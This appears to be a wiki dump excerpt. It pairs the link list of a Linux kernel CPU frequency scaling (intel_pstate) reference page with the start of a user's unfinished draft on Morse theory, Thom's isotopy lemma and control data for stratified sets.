:: /sys/devices/system/cpu/intel_pstate/
:: {{The Linux Kernel/include|linux/cpufreq.h}}
:: {{The Linux Kernel/source|rust/kernel/cpufreq.rs}} – Rust bindings
:: {{The Linux Kernel/include|linux/sched/cpufreq.h}} &amp;ndash; interface between cpufreq drivers and the scheduler


⚙️ Internals
: {{The Linux Kernel/source|drivers/cpufreq}} &amp;ndash; CPU frequency scaling drivers
:: {{The Linux Kernel/id|intel_pstate}}
:: {{The Linux Kernel/id|acpi_cpufreq_driver}}
: {{The Linux Kernel/source|kernel/sched/cpufreq_schedutil.c}} &amp;ndash; implementation of cpufreq.default_governor=schedutil
: {{The Linux Kernel/source|arch/x86/kernel/cpu/intel_epb.c}} &amp;ndash; Intel Performance and Energy Bias Hint support


📖 References
: {{The Linux Kernel/doc|CPU Performance Scaling|admin-guide/pm/cpufreq.html}}
: {{The Linux Kernel/doc|Device Frequency Scaling|driver-api/devfreq.html}}
: [https://www.kernel.org/doc/Documentation/cpu-freq/governors.txt CPUFreq Governor]
: {{The Linux Kernel/doc|CPUFreq - CPU frequency and voltage scaling|cpu-freq}}
: {{The Linux Kernel/doc|Intel Performance and Energy Bias Hint|admin-guide/pm/intel_epb.html}}
: {{The Linux Kernel/doc|intel_pstate CPU Performance Scaling Driver|admin-guide/pm/intel_pstate.html}}
:: {{The Linux Kernel/doc|General Information|admin-guide/pm/intel_pstate.html#general-information}} 
:: {{The Linux Kernel/doc|Operation Modes|admin-guide/pm/intel_pstate.html#operation-modes}} 
::: {{The Linux Kernel/doc|Active Mode|admin-guide/pm/intel_pstate.html#active-mode}}
&lt;!--
:::: {{The Linux Kernel/doc|Active Mode With HWP|admin-guide/pm/intel_pstate.html#active-mode-with-hwp}} 
::::: {{The Linux Kernel/doc|HWP + performance|admin-guide/pm/intel_pstate.html#hwp-performance}} 
::::: {{The Linux Kernel/doc|HWP + powersave|admin-guide/pm/intel_pstate.html#hwp-powersave}} 
:::: {{The Linux Kernel/doc|Active Mode Without HWP|admin-guide/pm/intel_pstate.html#active-mode-without-hwp}} 
::::: {{The Linux Kernel/doc|performance|admin-guide/pm/intel_pstate.html#performance}} 
::::: {{The Linux Kernel/doc|powersave|admin-guide/pm/intel_pstate.html#powersave}} 
--&gt;
::: {{The Linux Kernel/doc|Passive Mode|admin-guide/pm/intel_pstate.html#passive-mode}} 
:: {{The Linux Kernel/doc|Turbo P-states Support|admin-guide/pm/intel_pstate.html#turbo-p-states-support}} 
:: {{The Linux Kernel/doc|Processor Support|admin-guide/pm/intel_pstate.html#processor-support}} 
:: {{The Linux Kernel/doc|Support for Hybrid Processors|admin-guide/pm/intel_pstate.html#support-for-hybrid-processors}} 
::: {{The Linux Kernel/doc|Hybrid Processors with SMT|admin-guide/pm/intel_pstate.html#hybrid-processors-with-smt}} 
::: {{The Linux Kernel/doc|Capacity-Aware Scheduling Support|admin-guide/pm/intel_pstate.html#capacity-aware-scheduling-support}} 
::: {{The Linux Kernel/doc|Energy-Aware Scheduling Support|admin-guide/pm/intel_pstate.html#energy-aware-scheduling-support}} 
:: {{The Linux Kernel/doc|User Space Interface in sysfs|admin-guide/pm/intel_pstate.html#user-space-interface-in-sysfs}} 
::: {{The Linux Kernel/doc|Global Attributes|admin-guide/pm/intel_pstate.html#global-attributes}} 
::: {{The Linux Kernel/doc|Interpretation of Policy Attributes|admin-guide/pm/intel_pstate.html#interpretation-of-policy-attributes}} 
::: {{The Linux Kernel/doc|Coordination of P-State Limits|admin-guide/pm/intel_pstate.html#coordination-of-p-state-limits}} 
::: {{The Linux Kernel/doc|Energy vs Performance Hints|admin-guide/pm/intel_pstate.html#energy-vs-performance-hints}} 
:: {{The Linux Kernel/doc|intel_pstate vs acpi-cpufreq|admin-guide/pm/intel_pstate.html#intel-pstate-vs-acpi-cpufreq}} 
:: {{The Linux Kernel/doc|Kernel Command Line Options for intel_pstate|admin-guide/pm/intel_pstate.html#kernel-command-line-options-for-intel-pstate}} 
:: {{The Linux Kernel/doc|Diagnostics and Tuning|admin-guide/pm/intel_pstate.html#diagnostics-and-tuning}} 
::: {{The Linux Kernel/doc|Trace Events|admin-guide/pm/intel_pstate.html#trace-events}} 
::: {{The Linux Kernel/doc|ftrace|admin-guide/pm/intel_pstate.html#ftrace}} 
&lt;!-- end of intel_pstate.html --&gt;


📚 Further reading
: https://lwn.net/Kernel/Index/#Power_management-Frequency_scaling
: [https://wiki.archlinux.org/title/CPU_frequency_scaling CPU frequency scaling]
: {{The Linux Kernel/ltp|kernel/device-drivers|cpufreq}}
: [https://www.thinkwiki.org/wiki/How_to_use_cpufrequtils How to use cpufrequtils] 
:: [https://linux.die.net/man/1/cpufreq-info cpufreq-info]
:: [https://linux.die.net/man/1/cpufreq-set cpufreq-set]
: https://github.com/intel/power-optimization-library
: https://github.com/intel/kubernetes-power-manager

{{BookCat}}</text>
      <sha1>mzrtw27v0mgxgtkkgly5tawtitswttf</sha1>
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  <page>
    <title>Ontology of Emerging Complexity</title>
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  <page>
    <title>User:Dom walden/Multivariate Analytic Combinatorics/Homology of Critical Points</title>
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        <username>Dom walden</username>
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      <comment>/* Topology at critical points */ start on step 2 of proof</comment>
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      <text bytes="42601" sha1="2aui0d39u5o3zrwuam39hn40o408arf" xml:space="preserve">== Introduction ==

Morse theory tells us that the topology of M only changes at its critical points.

The &quot;Morse data&quot; tells us the topology at each critical point.

Attaching this Morse data together gives us a space which is homopotically eqivalent to M.

This space is a &quot;cell complex&quot;, which has an easy to calculate homology.

Theorem: Our domain of convergence is homotopic to a cell complex of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;.&lt;ref&gt;This is theorem D.23 in Pemantle, Wilson and Melczer 2024, pp. 546. Also theorem in section 1.2*/5.2* in SMT pp. 200.&lt;/ref&gt;

Proof:
# &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; is our entire domain, &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt; our variety
# Project our entire domain to complex projective space &lt;math display=&quot;inline&quot;&gt;Z = \pi(X) \subset \C\mathbb{P}^n - H&lt;/math&gt; [define H]
# Define a linear subspace &lt;math display=&quot;inline&quot;&gt;G \subset \C\mathbb{P}^n&lt;/math&gt; of dimension &lt;math display=&quot;inline&quot;&gt;d - 1&lt;/math&gt;
# Define a Morse function on &lt;math display=&quot;inline&quot;&gt;f: \C\mathbb{P}^n \to \R&lt;/math&gt; which approximates the distance from &lt;math display=&quot;inline&quot;&gt;G&lt;/math&gt; and such that &lt;math display=&quot;inline&quot;&gt;f^{-1}(0) = G&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;f^{-1}(1) = H&lt;/math&gt;
# We &quot;build&quot; &lt;math display=&quot;inline&quot;&gt;X - \mathcal{V}&lt;/math&gt; from &lt;math display=&quot;inline&quot;&gt;\pi^{-1}(G \cap Z) \cap (X - \mathcal{V})&lt;/math&gt; by attaching CW complexes at critical points which are of at most dimension &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;
# At a critical point, the normal Morse data is &lt;math display=&quot;inline&quot;&gt;(J, K) = \coprod_x (J_x, K_x)&lt;/math&gt; and the relative complex link is &lt;math display=&quot;inline&quot;&gt;\mathcal{L}^\pi = \coprod_x \mathcal{L}_x&lt;/math&gt;
# We show that the quotient &lt;math display=&quot;inline&quot;&gt;J_x/K_x&lt;/math&gt; is homotopic to a CW complex of dimension &lt;math display=&quot;inline&quot;&gt;\leq 2n - d - 1&lt;/math&gt;
# The neighbourhood of &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; in &lt;math display=&quot;inline&quot;&gt;J_x&lt;/math&gt; is homeomorphic to the cone in &lt;math display=&quot;inline&quot;&gt;L_x(X - \mathcal{V})&lt;/math&gt;, and removing the point &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; increases the homotopy dimension to at most the homotopy dimension of &lt;math display=&quot;inline&quot;&gt;L_x&lt;/math&gt;
# &lt;math display=&quot;inline&quot;&gt;(J_x \cup \{x\}, K_x)&lt;/math&gt; is homotopic to &lt;math display=&quot;inline&quot;&gt;(\text{cone}(\mathcal{L}_x), \mathcal{L}_x)&lt;/math&gt;
# &lt;math display=&quot;inline&quot;&gt;\mathcal{L}_x&lt;/math&gt; is homotopic to a CW complex of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;
# The tangential Morse data at the critical point is homotopic to the pair &lt;math display=&quot;inline&quot;&gt;(D^\lambda, \partial D^\lambda)&lt;/math&gt;
# Therefore, at each critical point a space has been added homotopic to a CW complex of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;.

Theorem: If &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; is the complement in &lt;math display=&quot;inline&quot;&gt;\C^n&lt;/math&gt; of a complex variety &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt; of dimension &lt;math display=&quot;inline&quot;&gt;d&lt;/math&gt; then &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; is homotopic to a CW complex of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt;.&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 546.&lt;/ref&gt;

Proof:
# We build &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; by attaching cells of dimension at most &lt;math display=&quot;inline&quot;&gt;2n - d - 1&lt;/math&gt; at each critical point.
## Prove that we can do this without changing the homotopy(?)
## We use Thom's Isotopy Lemma to prove that there is a strong deformation retraction, stopping only at critical points.
# Prove these cells are a product of the normal and tangential Morse data.
## Normal data: &lt;math display=&quot;inline&quot;&gt;(\mathcal{L}(S), \partial \mathcal{L}(S)) \times (D^1, \partial D^1)&lt;/math&gt; [GM pp. 18]
## Tangential data: &lt;math display=&quot;inline&quot;&gt;(B_\delta \cap f^{-1}[v - \epsilon, v + \epsilon], B_\delta \cap f^{-1}(v - \epsilon))&lt;/math&gt; for &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; restricted to &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; (or &lt;math display=&quot;inline&quot;&gt;\mathcal{V}&lt;/math&gt;?) [GM pp. 63-64]
# If &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt; is the dimension of the strata, then
## If &lt;math display=&quot;inline&quot;&gt;k = d&lt;/math&gt; then it is a smooth point and the cell is the product of &lt;math display=&quot;inline&quot;&gt;S^{2(n-d)-1}&lt;/math&gt; and the tangential data is dimension at most &lt;math display=&quot;inline&quot;&gt;d&lt;/math&gt;.
## If &lt;math display=&quot;inline&quot;&gt;k &lt; d&lt;/math&gt;, ...

&lt;ref&gt;Pemantle, Wilson and Melczer 2024, pp. 547.&lt;/ref&gt;

== Example in one dimension ==

Domain with singularities v_1, v_2, ..., v_i

Define our height function f...

Start with our entire domain X

Reduce from X to X_i+ by using Thom's Isotopy lemma to do a strong deformation retract

== Thom's isotopy lemma ==

We present a modified version of Thom's isotopy lemma, less general than the original but more obviously relevant to our situation.

Theorem: Suppose &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; is a closed subset of a smooth manifold &lt;math display=&quot;inline&quot;&gt;M&lt;/math&gt; which admits a Whitney stratification and &lt;math display=&quot;inline&quot;&gt;h : M \to \R&lt;/math&gt; is a proper Morse function which has no critical values on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;. Then, the level sets of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; are homeomorphic by a homeomorphism that preserves the strata of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;.&lt;ref&gt;For various versions of the full statement of the theorem, see Mather 2012, pp. 499, Goresky and MacPherson 1988, pp. 41, or Pemantle, Wilson and Melczer 2024, pp. 541.&lt;/ref&gt;

Proof:
# Construct control data for &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.
## [Prop 7.1] If &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is smooth on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; and is a submersion for each strata then there exists a family of control data for &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 488.&lt;/ref&gt;
# This makes &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; an abstract stratified set and &lt;math display=&quot;inline&quot;&gt;f&lt;/math&gt; a controlled submersion.
# A controlled submersion has, for any smooth vector field on &lt;math display=&quot;inline&quot;&gt;\R&lt;/math&gt;, a controlled vector field on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; (a &quot;lift&quot;?)&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;
# A controlled vector field has a unique one-parameter family of homeomorphisms of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; which commute with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 496.&lt;/ref&gt;
# This makes &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; a locally trivial fibration. [Prop 10.2]&lt;ref&gt;Mather 2012, pp. 499.&lt;/ref&gt;

Control data:

A system of '''control data''' for &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; consists of, for each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;,
* a '''tubular neighbourhood''' &lt;math display=&quot;inline&quot;&gt;T_X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt;
* a '''tubular projection function''' &lt;math display=&quot;inline&quot;&gt;\pi_X: T_X \to X&lt;/math&gt;, and
* a '''tubular distance function''' &lt;math display=&quot;inline&quot;&gt;\rho_X: T_X \to \R&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;\rho_X^{-1}(0) = X&lt;/math&gt;&lt;ref&gt;Goresky and MacPherson 1988, pp. 42.&lt;/ref&gt;

[illustration]

such that if &lt;math display=&quot;inline&quot;&gt;X &lt; Y&lt;/math&gt; are strata in &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;, then

&lt;math display=&quot;block&quot;&gt;\pi_X \pi_Y(m) = \pi_X(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\rho_X \pi_Y(m) = \rho_X(m)&lt;/math&gt;

for all &lt;math display=&quot;inline&quot;&gt;m \in |T_X| \cap |T_Y|&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;\pi_Y(m) \in |T_X|&lt;/math&gt;.

If, for all strata &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; and all &lt;math display=&quot;inline&quot;&gt;m \in |T_X|&lt;/math&gt;, we have &lt;math display=&quot;inline&quot;&gt;h \pi_X(m) = h(m)&lt;/math&gt;, then this control data will be said to be compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 488.&lt;/ref&gt;

We prove that if &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; is smooth on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; and is a submersion for each strata then there exists a family of control data for &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 488, prop 7.1.&lt;/ref&gt;

Let &lt;math display=&quot;inline&quot;&gt;Z_k&lt;/math&gt; be the union of strata of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; of dimension less than &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;. We prove by induction on &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;.

To construct the tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T_X&lt;/math&gt; of a stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of dimension less than &lt;math display=&quot;inline&quot;&gt;k&lt;/math&gt;. For &lt;math display=&quot;inline&quot;&gt;l \leq k&lt;/math&gt;, let &lt;math display=&quot;inline&quot;&gt;U_l&lt;/math&gt; denote the union of all &lt;math display=&quot;inline&quot;&gt;|T_Y|&lt;/math&gt; for &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\dim Y \geq l&lt;/math&gt;. Let &lt;math display=&quot;inline&quot;&gt;X_l = U_l \cap X&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 489.&lt;/ref&gt;

For &lt;math display=&quot;inline&quot;&gt;l = k&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;X_k = \empty&lt;/math&gt;. Assume by induction that &lt;math display=&quot;inline&quot;&gt;T_{l+1}&lt;/math&gt; has been constructed and that if &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;\dim Y \geq l + 1&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;m \in |T_{l+1}| \cap |T_Y|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}(m) \in |T_Y|&lt;/math&gt; (&lt;math display=&quot;inline&quot;&gt;\pi_{l+1} = \pi_{T_{l+1}}&lt;/math&gt;) then&lt;ref&gt;Mather 2012, pp. 489-490.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;\rho_Y \pi_{l+1}(m) = \rho_Y(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\pi_Y \pi_{l+1}(m) = \pi_Y(m).&lt;/math&gt;

We wish to construct a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T_{X,Y}&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;|T_Y| \cap X&lt;/math&gt; whose restriction to &lt;math display=&quot;inline&quot;&gt;|T_Y| \cap X_{l+1}&lt;/math&gt; is isomorphic to the restriction of &lt;math display=&quot;inline&quot;&gt;T_{l+1}&lt;/math&gt; such that if &lt;math display=&quot;inline&quot;&gt;m \in |T_{X,Y}| \cap |T_Y|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{X,Y}(m) \in |T_Y|&lt;/math&gt; (&lt;math display=&quot;inline&quot;&gt;\pi_{X,Y} = \pi_{T_{X,Y}}&lt;/math&gt;) then

&lt;math display=&quot;block&quot;&gt;\rho_Y \pi_{X,Y}(m) = \rho_Y(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\pi_Y \pi_{X,Y}(m) = \pi_Y(m).&lt;/math&gt;

By shrinking &lt;math display=&quot;inline&quot;&gt;|T_Y|&lt;/math&gt; if necessary, this relation is already satisfied if &lt;math display=&quot;inline&quot;&gt;m \in |T_{l+1}| \cap |T_Y|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}(m) \in |T_Y|&lt;/math&gt; with &lt;math display=&quot;inline&quot;&gt;T_{l+1}&lt;/math&gt; in place of &lt;math display=&quot;inline&quot;&gt;T_{X,Y}&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}&lt;/math&gt; in place of &lt;math display=&quot;inline&quot;&gt;\pi_{X,Y}&lt;/math&gt;. By the definition, if &lt;math display=&quot;inline&quot;&gt;m \in |T_{l+1}|&lt;/math&gt; then there exists &lt;math display=&quot;inline&quot;&gt;Z &lt; X&lt;/math&gt; with &lt;math display=&quot;inline&quot;&gt;\dim Z &gt; l&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;m \in |T_Z|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}(m) \in |T_Z|&lt;/math&gt;. We have that &lt;math display=&quot;inline&quot;&gt;\pi_{l+1}(m) \in |T_Y| \cap |T_Z|&lt;/math&gt; and therefore &lt;math display=&quot;inline&quot;&gt;Y &lt; Z&lt;/math&gt;. Therefore&lt;ref&gt;Mather 2012, pp. 490.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;\rho_Y \pi_{l+1}(m) = \rho_Y \pi_Z \pi_{l+1}(m) = \rho_Y \pi_Z(m) = \rho_Y(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\pi_Y \pi_{l+1}(m) = \pi_Y \pi_Z \pi_{l+1}(m) = \pi_Y \pi_Z(m) = \pi_Y(m).&lt;/math&gt;

We can prove that, by shrinking &lt;math display=&quot;inline&quot;&gt;|T_Y|&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;(\rho_Y, \pi_Y): |T_Y| \cap X \to \R \times Y&lt;/math&gt; is a submersion [prop 7.3?] and that &lt;math display=&quot;inline&quot;&gt;T_{X,Y}&lt;/math&gt; is compatible with &lt;math display=&quot;inline&quot;&gt;(\rho_Y, \pi_Y): |T_Y| \cap X_{l+1} \to \R \times Y&lt;/math&gt;, i.e. &lt;math display=&quot;inline&quot;&gt;(\rho_Y, \pi_Y) \pi_{X,Y}(m) = (\rho_Y, \pi_Y)(m)&lt;/math&gt;(?).

To prove it is a submersion, for the tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T = (E, \epsilon, \psi)&lt;/math&gt; there exists a smooth positive function &lt;math display=&quot;inline&quot;&gt;\epsilon'&lt;/math&gt; such that

&lt;math display=&quot;block&quot;&gt;(\rho_T, \pi_T): Y \cap |T|_{\epsilon'}^0 \to \R \times X,&lt;/math&gt;

where &lt;math display=&quot;inline&quot;&gt;|T|_{\epsilon'}^0 = \psi(B_\epsilon \cap B_{\epsilon'})&lt;/math&gt;, is a submersion. If &lt;math display=&quot;inline&quot;&gt;\Sigma&lt;/math&gt; is the set &lt;math display=&quot;inline&quot;&gt;y \in |T|&lt;/math&gt; such that the rank of

&lt;math display=&quot;block&quot;&gt;(\rho_T, \pi_T): T \cap |T| \to \R \times X&lt;/math&gt;

at &lt;math display=&quot;inline&quot;&gt;y&lt;/math&gt; is less than &lt;math display=&quot;inline&quot;&gt;\dim(\R \times X)&lt;/math&gt;. We need to prove that for any &lt;math display=&quot;inline&quot;&gt;x \in X&lt;/math&gt; there exists a neighbourhood of &lt;math display=&quot;inline&quot;&gt;x&lt;/math&gt; which does not intersect with &lt;math display=&quot;inline&quot;&gt;\Sigma&lt;/math&gt;, i.e. the map is not a submersion in this neighbourhood. It follows from [lemma 7.2] that it is enough to prove for &lt;math display=&quot;inline&quot;&gt;M = \R^m&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;X = \R^{m-c} \times 0_c&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;T&lt;/math&gt; is the '''standard tubular neighbourhood'''.&lt;ref&gt;Mather 2012, pp. 489.&lt;/ref&gt;

By standard tubular neighbourhood, we mean the trivial bundle with base &lt;math display=&quot;inline&quot;&gt;\R^{m-c}&lt;/math&gt; and fibre &lt;math display=&quot;inline&quot;&gt;\R^c&lt;/math&gt; where &lt;math display=&quot;inline&quot;&gt;\pi: \R^m \to \R^{m-c}&lt;/math&gt;...&lt;ref&gt;Mather 2012, pp. 488.&lt;/ref&gt;

For &lt;math display=&quot;inline&quot;&gt;y \in |T| - \R^{m-c}&lt;/math&gt;, the kernal of the differential of &lt;math display=&quot;inline&quot;&gt;(\pi_T, \rho_T)&lt;/math&gt; at &lt;math display=&quot;inline&quot;&gt;y&lt;/math&gt; is the orthogonal complement of &lt;math display=&quot;inline&quot;&gt;(\R^{m-c} \times 0_c) \oplus \stackrel{\frown}{y \pi_T(y)}&lt;/math&gt; in &lt;math display=&quot;inline&quot;&gt;\R^m&lt;/math&gt;. By the Whitney conditions, we have that for &lt;math display=&quot;inline&quot;&gt;y&lt;/math&gt; near &lt;math display=&quot;inline&quot;&gt;\R^{m-c}&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;(\R^{m-c} \times 0_c) \oplus \stackrel{\frown}{y \pi_T(y)}&lt;/math&gt; is close to the set of &lt;math display=&quot;inline&quot;&gt;m - c + 1&lt;/math&gt; planes in &lt;math display=&quot;inline&quot;&gt;m-&lt;/math&gt;space to an &lt;math display=&quot;inline&quot;&gt;m - c + 1&lt;/math&gt; plane in &lt;math display=&quot;inline&quot;&gt;TY_y&lt;/math&gt;. Therefore, for &lt;math display=&quot;inline&quot;&gt;y&lt;/math&gt; near enough to &lt;math display=&quot;inline&quot;&gt;\R^{m-c}&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;TY_y&lt;/math&gt; is transverse to the kernal of the differential of &lt;math display=&quot;inline&quot;&gt;(\pi_T, \rho_T)&lt;/math&gt; and, therefore, is a submersion when restricted to &lt;math display=&quot;inline&quot;&gt;Y&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 489.&lt;/ref&gt;

To prove that &lt;math display=&quot;inline&quot;&gt;T_{X,Y}&lt;/math&gt; is compatible with &lt;math display=&quot;inline&quot;&gt;(\rho_Y, \pi_Y): |T_Y| \cap X_{l+1} \to \R \times Y&lt;/math&gt;...&lt;ref&gt;Mather 2012, pp. 490.&lt;/ref&gt;

Therefore, there exists a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T_0&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;X_0&lt;/math&gt; satisfying

&lt;math display=&quot;block&quot;&gt;\rho_Y \pi_0(m) = \rho_Y(m),&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;\pi_Y \pi_0(m) = \pi_Y(m).&lt;/math&gt;

From this we can prove that &lt;math display=&quot;inline&quot;&gt;T_0&lt;/math&gt; is compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;. Replacing &lt;math display=&quot;inline&quot;&gt;T_0&lt;/math&gt; with a smaller tubular neighbourhood if necessary we can assume &lt;math display=&quot;inline&quot;&gt;m \in |T_0|&lt;/math&gt; such that for some &lt;math display=&quot;inline&quot;&gt;Y &lt; X&lt;/math&gt;, &lt;math display=&quot;inline&quot;&gt;m \in |T_Y|&lt;/math&gt; and &lt;math display=&quot;inline&quot;&gt;\pi_0(m) \in |T_Y|&lt;/math&gt;, then&lt;ref&gt;Mather 2012, pp. 490.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;h \pi_0(m) = h \pi_Y \pi_0(m) = h \pi_Y(m) = h(m).&lt;/math&gt;

By the generalised tubular neighourhood theorem [prop 7.2?], we can replace &lt;math display=&quot;inline&quot;&gt;T_0&lt;/math&gt; with a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; compatible with &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt;. This completes the construction of &lt;math display=&quot;inline&quot;&gt;T_X&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 491.&lt;/ref&gt;

This makes &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; an '''abstract stratified set''' with axioms...&lt;ref&gt;Mather 2012, pp. 491-492.&lt;/ref&gt;

This also makes &lt;math display=&quot;inline&quot;&gt;h&lt;/math&gt; a '''controlled submersion''' because
# &lt;math display=&quot;inline&quot;&gt;h|X: X \to \R&lt;/math&gt; is a smooth submersion on each strata &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;, and
# for each stratum &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; there is a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T'_X&lt;/math&gt; such that &lt;math display=&quot;inline&quot;&gt;h(v) = h \pi_X(v)&lt;/math&gt; for all &lt;math display=&quot;inline&quot;&gt;v \in T'_X&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;

The core of this is the concept of a '''vector field'''. A vector field is a function which assigns, for each point &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt; in a space, a '''vector''', which can be represented by an arrow whose tail starts at &lt;math display=&quot;inline&quot;&gt;p&lt;/math&gt;.&lt;ref&gt;Henle 1979, pp. 33.&lt;/ref&gt;

[picture]

Imagine we have a vector field &lt;math display=&quot;inline&quot;&gt;v(x)&lt;/math&gt; defined in a space and draw a line through our space. At each point along this line the vector field assigns a vector. If we move each point in this line along the arrow defined by this vector in the direction of the arrow head. This &quot;flows&quot; the entire line along the vectors.

[picture]

We define a '''stratified vector field''' &lt;math display=&quot;inline&quot;&gt;\eta&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; to be a family of smooth vector fields &lt;math display=&quot;inline&quot;&gt;\eta_X&lt;/math&gt;, one for each strata &lt;math display=&quot;inline&quot;&gt;X&lt;/math&gt; of &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt;.&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;

We define a '''controlled vector field''' &lt;math display=&quot;inline&quot;&gt;\eta&lt;/math&gt; on &lt;math display=&quot;inline&quot;&gt;Z&lt;/math&gt; to be a stratified vector field such that for any strata &lt;math display=&quot;inline&quot;&gt;Y&lt;/math&gt; there exists a tubular neighbourhood &lt;math display=&quot;inline&quot;&gt;T'_Y&lt;/math&gt; such that for any &lt;math display=&quot;inline&quot;&gt;X &gt; Y&lt;/math&gt; and any &lt;math display=&quot;inline&quot;&gt;v \in T'_X \cap X&lt;/math&gt;&lt;ref&gt;Mather 2012, pp. 493.&lt;/ref&gt;

&lt;math display=&quot;block&quot;&gt;\eta_X \rho_{Y,X}(v) = 0,&lt;/math&gt;
&lt;math display=&quot;block&quot;&gt;(\pi_{Y,X})_* \eta_X(v) = \eta_Y (\pi_{Y,X}(v)).&lt;/math&gt;

